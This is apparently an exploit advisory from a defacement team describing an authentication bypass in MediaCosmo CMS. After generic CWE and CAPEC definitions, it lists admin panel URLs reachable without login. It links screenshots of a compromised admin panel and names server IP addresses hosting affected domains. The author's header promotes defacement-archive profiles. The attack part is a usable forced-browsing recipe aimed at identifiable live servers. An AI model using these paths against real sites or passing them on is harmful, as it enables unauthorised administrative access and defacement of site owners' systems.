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# Exploit Title : MediaCosmo CMS Improper Access Control
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10 May 2020
# Vendor Homepage : mediacosmo.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-287 [ Improper Authentication ]
CAPEC-115 [ Authentication Bypass ]
CWE-284 [ Improper Access Control ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/KingSkrupellos
# Zone-H : zone-h.org/archive/notifier=KingSkrupellos
zone-h.org/archive/notifier=CyBeRiZM
# Mirror-H : mirror-h.org/search/hacker/948/
mirror-h.org/search/hacker/94/
mirror-h.org/search/hacker/1826/
# Defacer.ID : defacer.id/archive/attacker/KingSkrupellos
defacer.id/archive/team/Cyberizm-Org
# Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/
# Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos
aljyyosh.org/hacker.php?id=Cyberizm.Org
aljyyosh.org/hacker.php?id=Cyberizm
# Zone-D : zone-d.org/attacker/id/69
# Pastebin : pastebin.com/u/KingSkrupellos
# Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities

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# Impact :
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CWE-284 [ Improper Access Control ]

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

CWE-287 [ Improper Authentication ]

Authentication is any process by which a system verifies the identity of a user who wishes 
to access it.When an actor claims to have a given identity, the software does not 
prove or insufficiently proves that the claim is correct. Improper authentication 
occurs when an application improperly verifies the identity of a user. 
A software incorrectly validates user's login information and as a result, an attacker can 
gain certain privileges within the application or disclose sensitive information that allows 
them to access sensitive data and provoke arbitrary code execution.
The weakness is introduced during Architecture and Design, Implementation stages.

CAPEC-115 [ Authentication Bypass ]

An attacker gains access to application, service, or device with the privileges 
of an authorized or privileged user by evading or circumventing an authentication mechanism. 
The attacker is therefore able to access protected data without authentication ever having taken place.
This refers to an attacker gaining access equivalent to an authenticated user without ever going 
through an authentication procedure. This is usually the result of the attacker using an unexpected 
access procedure that does not go through the proper checkpoints where authentication should occur. 
For example, a web site might assume that all users will click through a given link in order to get to 
secure material and simply authenticate everyone that clicks the link. However, an attacker might be 
able to reach secured web content by explicitly entering the path to the content rather than clicking 
through the authentication link, thereby avoiding the check entirely. This attack pattern differs from 
other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than 
faking authentication by exploiting flaws or by stealing credentials from legitimate users.

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# Authentication Bypass / Improper Authentication / Admin Panel Login Bypass Exploit :
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This Software wants Administrator Username - Password.
But SQL Authentication Bypass Payloads doesn't work.
It says : Invalid user_id or password, please try again.
There was an error logging in.
Check your username and password and try again.
So, we will jump over the wall. 
/admin/admin.php

/admin/page-admin-home.php
/admin/admin-calendar.php?sub=list
/admin/admin-calendar.php?sub=new
/admin/admin-calendar-categories.php?sub=list
/admin/admin-calendar-categories.php?sub=new
/admin/admin-plugins.php
/admin/admin-reports.php

ScreenShot Administrator Control Panel => 

https://www.upload.ee/image/11665574/mediacosmo2adminpanelscreenshot10052020.png

https://www.upload.ee/image/11665571/mediacosmo1adminpanelscreenshot10052020.png

Reverse IP results for (72.47.248.163)
There are 6 domains hosted on this server.
Reverse IP results for (64.13.235.9)
There are 4 domains hosted on this server.

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

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